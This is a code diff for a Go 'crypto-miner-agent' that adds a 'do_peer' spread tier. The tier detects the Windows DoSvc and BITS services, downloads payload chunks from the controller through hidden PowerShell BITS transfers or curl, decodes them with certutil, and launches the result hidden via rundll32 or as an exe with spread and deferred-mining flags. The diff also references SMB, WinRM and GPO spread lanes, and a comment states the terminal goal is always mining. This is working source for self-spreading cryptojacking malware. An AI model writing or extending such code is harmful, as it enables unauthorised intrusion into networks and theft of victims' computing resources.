Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion

agent/deploy/discover_join.go

@@ -18,6 +18,7 @@ type DeployPlanBody struct {
 	MatchedService string            `json:"matched_service,omitempty"`
 	Action         string            `json:"action"`
 	Manifest       *StagingManifest  `json:"manifest,omitempty"`
+	PeerGroup      string            `json:"peer_group,omitempty"`
 	Script         string            `json:"script,omitempty"`
 	UNCPath        string            `json:"unc_path,omitempty"`
 	MaxHosts       int               `json:"max_hosts,omitempty"`
@@ -57,6 +58,19 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
 		lane = strings.TrimSpace(plan.Action)
 	}
 	switch lane {
+	case "do_peer":
+		if plan.Manifest == nil {
+			return "", fmt.Errorf("join lane do_peer requires staging manifest")
+		}
+		peer := strings.TrimSpace(plan.PeerGroup)
+		if peer == "" {
+			peer = strings.TrimSpace(plan.Manifest.PeerGroup)
+		}
+		msg, err := RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
+		if err != nil {
+			return "", err
+		}
+		return msg, nil
 	case "bits_curl", "docker_load":
 		if plan.Manifest == nil {
 			return "", fmt.Errorf("join lane %s requires staging manifest", lane)

agent/deploy/discover_join_test.go

@@ -5,6 +5,8 @@ import (
 	"crypto/sha256"
 	"encoding/hex"
 	"encoding/json"
+	"os"
+	"strings"
 	"testing"
 
 	"crypto-miner-agent/config"
@@ -76,3 +78,76 @@ func TestRunDiscoverAndJoinFakeServices(t *testing.T) {
 		t.Fatalf("lane=%q detail=%q", lane, detail)
 	}
 }
+
+func TestRunDiscoverAndJoinDOPeerPlan(t *testing.T) {
+	cfg := config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			FleetSecret: "fleet-test",
+			WorkerName:  "test-worker",
+			ServerURL:   "http://127.0.0.1:8989",
+		},
+	}
+
+	payload := []byte("do-peer-signed-plan")
+	sum := sha256.Sum256(payload)
+	hash := hex.EncodeToString(sum[:])
+
+	oldBits := doPeerDownloadBITSFn
+	doPeerDownloadBITSFn = func(url, dest string) error {
+		return os.WriteFile(dest, payload, 0o644)
+	}
+	defer func() { doPeerDownloadBITSFn = oldBits }()
+
+	fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
+		plan := DeployPlanBody{
+			JoinLane:  "do_peer",
+			Action:    "do_peer",
+			PeerGroup: "af-peer-lab",
+			Manifest: &StagingManifest{
+				Method:        "bits",
+				Chunks:        []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "peer-0.bin"}},
+				SHA256:        hash,
+				Dest:          "do-peer-test-worker.exe",
+				Launch:        "exe",
+				DeferMining:   true,
+				SpreadInstall: true,
+			},
+		}
+		payloadJSON, _ := json.Marshal(plan)
+		mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
+		mac.Write(payloadJSON)
+		return DeployPlanResponse{
+			OK:        true,
+			JoinLane:  "do_peer",
+			Plan:      plan,
+			Signature: hex.EncodeToString(mac.Sum(nil)),
+		}, nil
+	}
+
+	oldDiscover := runServiceDiscoverFn
+	runServiceDiscoverFn = func(maxLANHosts int) string {
+		return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"DoSvc","status":"running","join_lane_candidate":"do_peer","source":"local_service"}]}}`
+	}
+	defer func() { runServiceDiscoverFn = oldDiscover }()
+
+	lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
+	if lane != "do_peer" {
+		t.Fatalf("lane=%q err=%v", lane, err)
+	}
+	if err != nil {
+		if strings.Contains(err.Error(), "Windows-only") || strings.Contains(err.Error(), "launch") {
+			return
+		}
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if detail == "" {
+		t.Fatal("expected success detail")
+	}
+}
+
+func TestExecuteDeployPlanDOPeerRequiresManifest(t *testing.T) {
+	_, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "do_peer", Action: "do_peer"})
+	if err == nil || !strings.Contains(err.Error(), "requires staging manifest") {
+		t.Fatalf("err=%v", err)
+	}
+}

agent/deploy/do_peer_staging.go

@@ -0,0 +1,165 @@
+package deploy
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+// DOPeerManifest describes Shadow Cache Handoff staging via DoSvc/BITS peer chunk pattern.
+type DOPeerManifest struct {
+	Method        string         `json:"method"`
+	Chunks        []StagingChunk `json:"chunks"`
+	SHA256        string         `json:"sha256"`
+	Dest          string         `json:"dest"`
+	Launch        string         `json:"launch"`
+	DLLExport     string         `json:"dll_export,omitempty"`
+	Encoded       bool           `json:"encoded"`
+	DeferMining   bool           `json:"defer_mining,omitempty"`
+	SpreadInstall bool           `json:"spread_install,omitempty"`
+	PeerGroup     string         `json:"peer_group,omitempty"`
+}
+
+// DOPeerFromStagingManifest maps a signed deploy-plan manifest into a do_peer payload.
+func DOPeerFromStagingManifest(m StagingManifest, peerGroup string) DOPeerManifest {
+	return DOPeerManifest{
+		Method:        m.Method,
+		Chunks:        m.Chunks,
+		SHA256:        m.SHA256,
+		Dest:          m.Dest,
+		Launch:        m.Launch,
+		DLLExport:     m.DLLExport,
+		Encoded:       m.Encoded,
+		DeferMining:   m.DeferMining,
+		SpreadInstall: m.SpreadInstall,
+		PeerGroup:     peerGroup,
+	}
+}
+
+// Injectable download hooks for tests and alternate transports.
+var (
+	doPeerDownloadCurlFn func(url, dest string) error
+	doPeerDownloadBITSFn func(url, dest string) error
+)
+
+type doPeerDownloader func(url, dest string) error
+
+func doPeerWorkDir(cfg config.RuntimeConfig, manifest DOPeerManifest) string {
+	group := sanitizeName(manifest.PeerGroup)
+	if group == "" {
+		group = "local"
+	}
+	return filepath.Join(os.TempDir(), ".do-peer-"+group+"-"+sanitizeName(cfg.WorkerName))
+}
+
+// assembleDOPeerPayload downloads chunks, verifies SHA256, and returns the staged dest path.
+func assembleDOPeerPayload(cfg config.RuntimeConfig, manifest DOPeerManifest, curlDL, bitsDL doPeerDownloader) (dest string, cleanup func(), err error) {
+	if len(manifest.Chunks) == 0 {
+		return "", nil, fmt.Errorf("do_peer manifest has no chunks")
+	}
+	dest, err = ResolveStagingPath(manifest.Dest)
+	if err != nil {
+		return "", nil, err
+	}
+	workDir := doPeerWorkDir(cfg, manifest)
+	if err := os.MkdirAll(workDir, 0o700); err != nil {
+		return "", nil, err
+	}
+	cleanupFn := func() { _ = os.RemoveAll(workDir) }
+
+	method := strings.ToLower(strings.TrimSpace(manifest.Method))
+	if method == "" {
+		method = "bits"
+	}
+
+	var assembled []string
+	for i, chunk := range manifest.Chunks {
+		name, err := sanitizeStagingFilename(chunk.File)
+		if err != nil {
+			cleanupFn()
+			return "", nil, fmt.Errorf("chunk %d: %w", i, err)
+		}
+		localPath := filepath.Join(workDir, name)
+		if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil {
+			cleanupFn()
+			return "", nil, err
+		}
+		switch method {
+		case "bits", "bitsadmin":
+			dl := bitsDL
+			if dl == nil {
+				cleanupFn()
+				return "", nil, fmt.Errorf("bits downloader unavailable")
+			}
+			if err := dl(chunk.URL, localPath); err != nil {
+				cleanupFn()
+				return "", nil, fmt.Errorf("bits chunk %d: %w", i, err)
+			}
+		default:
+			dl := curlDL
+			if dl == nil {
+				cleanupFn()
+				return "", nil, fmt.Errorf("curl downloader unavailable")
+			}
+			if err := dl(chunk.URL, localPath); err != nil {
+				cleanupFn()
+				return "", nil, fmt.Errorf("curl chunk %d: %w", i, err)
+			}
+		}
+		if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
+			decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
+			if err := certutilDecodePeer(localPath, decoded); err != nil {
+				cleanupFn()
+				return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err)
+			}
+			assembled = append(assembled, decoded)
+		} else {
+			assembled = append(assembled, localPath)
+		}
+	}
+
+	if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
+		cleanupFn()
+		return "", nil, err
+	}
+	if len(assembled) == 1 {
+		if err := os.Rename(assembled[0], dest); err != nil {
+			if err := copyFile(assembled[0], dest); err != nil {
+				cleanupFn()
+				return "", nil, err
+			}
+		}
+	} else {
+		if err := concatFiles(dest, assembled); err != nil {
+			cleanupFn()
+			return "", nil, err
+		}
+	}
+	if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
+		_ = os.Remove(dest)
+		cleanupFn()
+		return "", nil, err
+	}
+	return dest, cleanupFn, nil
+}
+
+func certutilDecodePeer(src, dest string) error {
+	if certutilDecodePeerFn != nil {
+		return certutilDecodePeerFn(src, dest)
+	}
+	return certutilDecodePeerPlatform(src, dest)
+}
+
+var certutilDecodePeerFn func(src, dest string) error
+
+// RunDOPeerStaging verifies SHA256, assembles peer-cache chunks, and launches the worker.
+func RunDOPeerStaging(cfg config.RuntimeConfig, manifest DOPeerManifest) (string, error) {
+	if runtime.GOOS != "windows" {
+		return "", fmt.Errorf("do_peer staging is Windows-only")
+	}
+	return runDOPeerStagingWindows(cfg, manifest)
+}

agent/deploy/do_peer_staging_stub.go

@@ -0,0 +1,14 @@
+//go:build !windows
+
+package deploy
+
+import "fmt"
+
+// IsDOPeerReady is Windows-only (DoSvc + BITS peer cache).
+func IsDOPeerReady() bool {
+	return false
+}
+
+func certutilDecodePeerPlatform(src, dest string) error {
+	return fmt.Errorf("certutil decode unavailable")
+}

agent/deploy/do_peer_staging_test.go

@@ -0,0 +1,114 @@
+package deploy
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestDOPeerRejectsPathTraversal(t *testing.T) {
+	manifest := DOPeerManifest{
+		Chunks: []StagingChunk{{URL: "http://127.0.0.1/a", File: "chunk.bin"}},
+		SHA256: strings.Repeat("a", 64),
+		Dest:   "../../outside.exe",
+	}
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "test"}}
+	_, _, err := assembleDOPeerPayload(cfg, manifest, fakeDownload, fakeDownload)
+	if err == nil || !strings.Contains(err.Error(), "path traversal") {
+		t.Fatalf("expected path traversal error, got %v", err)
+	}
+}
+
+func TestDOPeerSanitizeChunkFilename(t *testing.T) {
+	got, err := sanitizeStagingFilename("../peer-chunk.bin")
+	if err != nil {
+		// stripped traversal components may still yield safe name
+		if got != "" && strings.Contains(got, "..") {
+			t.Fatalf("leaked traversal: %q", got)
+		}
+		return
+	}
+	if strings.Contains(got, "..") {
+		t.Fatalf("sanitize leaked traversal: %q", got)
+	}
+}
+
+func TestDOPeerAssembleWithFakeDownloaders(t *testing.T) {
+	dir := t.TempDir()
+	chunkPath := filepath.Join(dir, "peer-0.bin")
+	payload := []byte("shadow-cache-handoff-payload")
+	if err := os.WriteFile(chunkPath, payload, 0o644); err != nil {
+		t.Fatal(err)
+	}
+	sum := sha256.Sum256(payload)
+	destRel := filepath.Join("af-peer", "worker.exe")
+
+	fakeDL := func(url, dest string) error {
+		if url != "file://chunk" {
+			t.Fatalf("unexpected url %q", url)
+		}
+		return copyFile(chunkPath, dest)
+	}
+
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "peer-test"}}
+	manifest := DOPeerManifest{
+		Method:    "curl",
+		Chunks:    []StagingChunk{{URL: "file://chunk", File: "peer-0.bin"}},
+		SHA256:    hex.EncodeToString(sum[:]),
+		Dest:      destRel,
+		PeerGroup: "lan-group-1",
+	}
+
+	resolvedDest, err := ResolveStagingPath(destRel)
+	if err != nil {
+		t.Fatal(err)
+	}
+	_ = os.Remove(resolvedDest)
+	manifest.Dest = destRel
+
+	staged, cleanup, err := assembleDOPeerPayload(cfg, manifest, fakeDL, fakeDL)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer cleanup()
+	if staged != resolvedDest {
+		t.Fatalf("dest=%q want %q", staged, resolvedDest)
+	}
+	if err := verifyFileSHA256(staged, manifest.SHA256); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func TestDOPeerSHA256MismatchRejected(t *testing.T) {
+	dir := t.TempDir()
+	chunkPath := filepath.Join(dir, "peer-0.bin")
+	if err := os.WriteFile(chunkPath, []byte("wrong-bytes"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	fakeDL := func(url, dest string) error {
+		return copyFile(chunkPath, dest)
+	}
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "peer-test"}}
+	manifest := DOPeerManifest{
+		Method: "bits",
+		Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "peer-0.bin"}},
+		SHA256: strings.Repeat("b", 64),
+		Dest:   "worker.exe",
+	}
+	_, cleanup, err := assembleDOPeerPayload(cfg, manifest, fakeDL, fakeDL)
+	if cleanup != nil {
+		defer cleanup()
+	}
+	if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
+		t.Fatalf("expected sha256 mismatch, got %v", err)
+	}
+}
+
+func fakeDownload(url, dest string) error {
+	return os.WriteFile(dest, []byte("x"), 0o644)
+}

agent/deploy/do_peer_staging_windows.go

@@ -0,0 +1,101 @@
+//go:build windows
+
+package deploy
+
+import (
+	"fmt"
+	"os/exec"
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+// IsDOPeerReady reports whether DoSvc and BITS are available for shadow cache handoff.
+func IsDOPeerReady() bool {
+	if !serviceRunning("DoSvc") {
+		return false
+	}
+	if _, err := exec.LookPath("bitsadmin.exe"); err != nil {
+		if st := serviceStatus("BITS"); st != "running" && st != "started" {
+			return false
+		}
+	}
+	return true
+}
+
+func serviceRunning(name string) bool {
+	return serviceStatus(name) == "running" || serviceStatus(name) == "started"
+}
+
+func serviceStatus(name string) string {
+	out, err := HiddenOutput("sc.exe", "query", name)
+	if err != nil {
+		return ""
+	}
+	for _, line := range strings.Split(string(out), "\n") {
+		line = strings.TrimSpace(line)
+		if strings.HasPrefix(strings.ToUpper(line), "STATE") {
+			upper := strings.ToUpper(line)
+			if strings.Contains(upper, "RUNNING") {
+				return "running"
+			}
+			if strings.Contains(upper, "STOPPED") {
+				return "stopped"
+			}
+		}
+	}
+	return ""
+}
+
+func certutilDecodePeerPlatform(src, dest string) error {
+	return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
+}
+
+func runDOPeerStagingWindows(cfg config.RuntimeConfig, manifest DOPeerManifest) (string, error) {
+	curlDL := doPeerDownloadCurlFn
+	if curlDL == nil {
+		curlDL = downloadChunkCurl
+	}
+	bitsDL := doPeerDownloadBITSFn
+	if bitsDL == nil {
+		bitsDL = downloadChunkBITS
+	}
+
+	dest, cleanup, err := assembleDOPeerPayload(cfg, manifest, curlDL, bitsDL)
+	if err != nil {
+		return "", err
+	}
+	defer cleanup()
+
+	method := strings.ToLower(strings.TrimSpace(manifest.Method))
+	if method == "" {
+		method = "bits"
+	}
+
+	launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
+	switch launch {
+	case "rundll32", "dll":
+		export := strings.TrimSpace(manifest.DLLExport)
+		if export == "" {
+			export = "DllRegisterServer"
+		}
+		if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
+			return "", fmt.Errorf("rundll32 launch: %w", err)
+		}
+		return fmt.Sprintf("do_peer staged %d chunk(s) via %s peer_group=%s to %s; launched rundll32 %s",
+			len(manifest.Chunks), method, manifest.PeerGroup, dest, export), nil
+	default:
+		args := []string{runFlag}
+		if manifest.DeferMining {
+			args = append(args, deferMiningFlag)
+		}
+		if manifest.SpreadInstall {
+			args = append(args, spreadFlag)
+		}
+		if err := HiddenStart(dest, args...); err != nil {
+			return "", fmt.Errorf("exe launch: %w", err)
+		}
+		return fmt.Sprintf("do_peer staged %d chunk(s) via %s peer_group=%s to %s; launched exe %v",
+			len(manifest.Chunks), method, manifest.PeerGroup, dest, args), nil
+	}
+}

agent/deploy/lotl_onion_windows.go

@@ -45,6 +45,14 @@ func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
 		_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
 			fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
 		return true, "bits/curl install hook queued"
+	case "do_peer":
+		if !IsDOPeerReady() {
+			return false, "DoSvc not running or BITS unavailable"
+		}
+		installURL := strings.TrimRight(cfg.ServerURL, "/") + "/get?os=windows"
+		_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
+			fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-do-peer.bin -TransferType Download -Priority Foreground -ErrorAction SilentlyContinue", installURL))
+		return true, "do_peer shadow cache BITS handoff queued (signed plan via discover_and_join)"
 	case "smb":
 		if !cfg.AutoSpread && !cfg.ShareSpread {
 			go RunSpreadOnce(cfg)

agent/deploy/lotl_tiers.go

@@ -11,6 +11,7 @@ var DefaultLotlOnionTiers = []string{
 	"powershell",
 	"dotnet",
 	"bits_curl",
+	"do_peer",
 	"smb",
 	"winrm",
 	"linux",
@@ -22,7 +23,7 @@ func NormalizeLotlTiers(raw []string) []string {
 	allowed := map[string]struct{}{
 		"vuln_recon": {},
 		"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
-		"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
+		"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
 	}
 	out := make([]string, 0, len(raw))
 	for _, t := range raw {

agent/deploy/service_discovery_test.go

@@ -18,6 +18,7 @@ func TestJoinLaneForSignal(t *testing.T) {
 		{"sshd", 22, "linux"},
 		{"docker", 0, "docker"},
 		{"CCMEXEC", 0, "gpo"},
+		{"DoSvc", 0, "do_peer"},
 		{"gitlab-runner", 0, "bits_curl"},
 		{"jenkins", 8080, "bits_curl"},
 		{"unknown-svc", 9999, ""},

agent/deploy/service_discovery_windows.go

@@ -16,7 +16,7 @@ $p = [ordered]@{ services = @(); hints = @() }
 $watch = @(
   'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
   'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
-  'OpenSSH SSH Server','cloudflared','gpsvc'
+  'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS'
 )
 foreach ($n in $watch) {
   try {

agent/deploy/service_graph.go

@@ -48,6 +48,8 @@ func JoinLaneForSignal(serviceName string, port int) string {
 		return "powershell"
 	case strings.Contains(name, "dotnet"):
 		return "dotnet"
+	case strings.Contains(name, "dosvc") || strings.Contains(name, "delivery optimization"):
+		return "do_peer"
 	case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
 		return "bits_curl"
 	case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):

agent/deploy/staging.go

@@ -27,6 +27,7 @@ type StagingManifest struct {
 	Encoded       bool   `json:"encoded"` // chunks are base64; decode via certutil
 	DeferMining   bool   `json:"defer_mining,omitempty"`
 	SpreadInstall bool   `json:"spread_install,omitempty"`
+	PeerGroup     string `json:"peer_group,omitempty"`
 }
 
 // ResolveStagingPath applies the same traversal hygiene as upload/download commands.

agent/miner/triple_onion.go

@@ -48,6 +48,7 @@ var DefaultReconTiers = []string{
 }
 
 // DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers).
+// Deploy success is spread-only; terminal goal is always mining via startMiningWhenReady().
 var DefaultDeployLanes = []string{
 	"discover_and_join",
 	"docker",
@@ -55,6 +56,7 @@ var DefaultDeployLanes = []string{
 	"powershell",
 	"dotnet",
 	"bits_curl",
+	"do_peer",
 	"smb",
 	"winrm",
 }